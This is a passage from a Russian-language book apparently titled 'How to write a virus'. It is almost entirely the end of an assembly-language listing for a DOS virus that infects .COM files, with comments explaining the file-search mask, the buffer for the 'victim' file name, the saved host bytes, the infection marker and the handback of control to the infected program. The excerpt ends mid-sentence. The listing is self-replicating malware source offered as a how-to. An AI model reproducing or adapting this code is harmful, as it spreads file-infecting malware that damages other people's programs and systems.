"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...

;\*Data area ...

old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы

old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...

last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле

vir_len equ $-vir ;Длина вирусного
;кода ...

prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей прог-
;раммы ...

db '7' ;Без этого сим-
;вола вирус за-
;разил бы сам
;себя ...

prg ends ;Все ASM - прог-
end start ;раммы заканчи-
;ваются примерно
;так .

Если вы когда нибудь читали [ 3 ], только что при-